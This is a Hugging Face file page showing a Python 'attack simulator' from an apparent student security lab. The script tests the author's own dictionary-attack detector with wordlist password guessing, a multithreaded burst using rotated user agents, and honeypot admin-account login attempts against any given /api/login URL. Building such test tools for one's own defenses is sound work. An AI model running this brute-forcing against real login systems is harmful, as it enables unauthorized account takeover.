CoolFace
Apppublic

abdullahawan1/dictionary-attack-detector

sourceHugging Facemitupdated 4mo agoView on Hugging Face
0likes
kali_attack_comprehensive.py168 linesDownload Raw Back to root
1#!/usr/bin/env python32"""3Comprehensive Attack Simulator for Kali Linux4=============================================5This script includes multiple attack vectors to test all defense mechanisms:61. Dictionary Attack (Standard)72. Rapid Velocity Attack (Bypass rate limiting attempts)83. Honeypot Trap Attack (Targeting forbidden accounts)94. Full Stealth Mode (Adding delays and rotating user agents)10 11Usage:12    python3 kali_attack.py --target https://abdullahawan1-dictionary-attack-detector.hf.space --mode all13"""14 15import requests16import time17import argparse18import sys19import threading20import random21 22# Color codes for terminal23RED = '\033[91m'24GREEN = '\033[92m'25YELLOW = '\033[93m'26BLUE = '\033[94m'27MAGENTA = '\033[95m'28CYAN = '\033[96m'29RESET = '\033[0m'30BOLD = '\033[1m'31 32# Default password wordlist33WORDLIST = [34    'password', '123456', 'password123', 'qwerty', 'letmein',35    'admin123', 'welcome', 'monkey', 'dragon', 'master',36    'trustno1', 'baseball', 'iloveyou', 'sunshine', 'ashley',37    'bailey', 'shadow', '123123', '654321', 'superman',38    'qazwsx', 'michael', 'football', 'admin', 'root',39    'toor', 'test', 'guest', 'abc123', '1234567',40    'SecurePass123!'  # The correct password41]42 43HONEYPOT_ACCOUNTS = ['root', 'admin', 'administrator', 'sa_admin', 'superuser', 'sysadmin']44 45USER_AGENTS = [46    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",47    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Safari/605.1.15",48    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36",49    "curl/7.68.0",50    "python-requests/2.25.1"51]52 53def banner():54    print(f"""55{RED}==============================================================56     COMPREHENSIVE KALI LINUX ATTACK SUITE - Educational Only 57     Information Security Lab Project                         58=============================================================={RESET}59""")60 61def send_request(url, username, password, headers, stats, print_lock):62    """Sends a single POST request to the login endpoint."""63    try:64        response = requests.post(url, json={'username': username, 'password': password}, headers=headers, timeout=5)65        status = response.status_code66        data = response.json() if response.text else {}67        68        with print_lock:69            if status == 200 and data.get('success'):70                stats['success'] += 171                print(f"  {GREEN}[+] FOUND! {username}:{password}{RESET}")72            elif status == 401:73                stats['failed'] += 174                print(f"  {YELLOW}[-] Trying: {username}:{password:15s} -> FAILED{RESET}")75            elif status == 403:76                stats['blocked'] += 177                print(f"  {RED}[!!!] IP BLOCKED BY SERVER (403 Forbidden){RESET}")78            elif status == 429:79                stats['rate_limited'] += 180                print(f"  {MAGENTA}[!] RATE LIMITED: {username}:{password:15s} (429 Too Many Requests){RESET}")81            else:82                stats['errors'] += 183                print(f"  {BLUE}[?] ERROR {status}: {username}:{password}{RESET}")84                85        return status86    except requests.exceptions.RequestException as e:87        with print_lock:88            stats['errors'] += 189            print(f"  {RED}[X] Connection Error: Server might have dropped us completely.{RESET}")90        return 091 92def run_dictionary_attack(target_url, username, wordlist, delay):93    print(f"\n{CYAN}[*] Starting Standard Dictionary Attack...{RESET}")94    login_url = f"{target_url.rstrip('/')}/api/login"95    stats = {'total': 0, 'failed': 0, 'blocked': 0, 'rate_limited': 0, 'success': 0, 'errors': 0}96    print_lock = threading.Lock()97    98    for pwd in wordlist:99        stats['total'] += 1100        headers = {'Content-Type': 'application/json', 'User-Agent': USER_AGENTS[0]}101        status = send_request(login_url, username, pwd, headers, stats, print_lock)102        if status == 403:103            print(f"{RED}[!] Aborting: Defense mechanism successfully blacklisted our IP.{RESET}")104            break105        elif status == 200:106            break107        time.sleep(delay)108    return stats109 110def run_rapid_velocity_attack(target_url, username):111    print(f"\n{CYAN}[*] Starting Rapid Velocity Attack (Multithreaded Burst)...{RESET}")112    login_url = f"{target_url.rstrip('/')}/api/login"113    stats = {'total': 0, 'failed': 0, 'blocked': 0, 'rate_limited': 0, 'success': 0, 'errors': 0}114    print_lock = threading.Lock()115    threads = []116    117    # Fire 10 requests simultaneously118    for pwd in WORDLIST[:10]:119        stats['total'] += 1120        headers = {'Content-Type': 'application/json', 'User-Agent': random.choice(USER_AGENTS)}121        t = threading.Thread(target=send_request, args=(login_url, username, pwd, headers, stats, print_lock))122        threads.append(t)123        t.start()124        125    for t in threads:126        t.join()127        128    return stats129 130def run_honeypot_attack(target_url):131    print(f"\n{CYAN}[*] Starting Honeypot Trap Attack...{RESET}")132    login_url = f"{target_url.rstrip('/')}/api/login"133    stats = {'total': 0, 'failed': 0, 'blocked': 0, 'rate_limited': 0, 'success': 0, 'errors': 0}134    print_lock = threading.Lock()135    136    target_account = random.choice(HONEYPOT_ACCOUNTS)137    print(f"{YELLOW}[!] Targeting known admin/root account: {target_account}{RESET}")138    139    stats['total'] += 1140    headers = {'Content-Type': 'application/json', 'User-Agent': USER_AGENTS[0]}141    send_request(login_url, target_account, "password123", headers, stats, print_lock)142    143    return stats144 145if __name__ == '__main__':146    parser = argparse.ArgumentParser(description='Comprehensive Attack Simulator')147    parser.add_argument('--target', '-t', required=True, help='Target URL')148    parser.add_argument('--username', '-u', default='demo_user', help='Target username')149    parser.add_argument('--mode', '-m', choices=['dict', 'rapid', 'honeypot', 'all'], default='all', help='Attack mode')150    151    args = parser.parse_args()152    banner()153 154    print(f"{BOLD}Target:{RESET} {args.target}")155    156    if args.mode in ['dict', 'all']:157        run_dictionary_attack(args.target, args.username, WORDLIST, 0.3)158        time.sleep(2)159        160    if args.mode in ['rapid', 'all']:161        run_rapid_velocity_attack(args.target, args.username)162        time.sleep(2)163        164    if args.mode in ['honeypot', 'all']:165        run_honeypot_attack(args.target)166        167    print(f"\n{GREEN}[✓] Attack simulation completed. Check the server dashboard to view the detected threats!{RESET}\n")168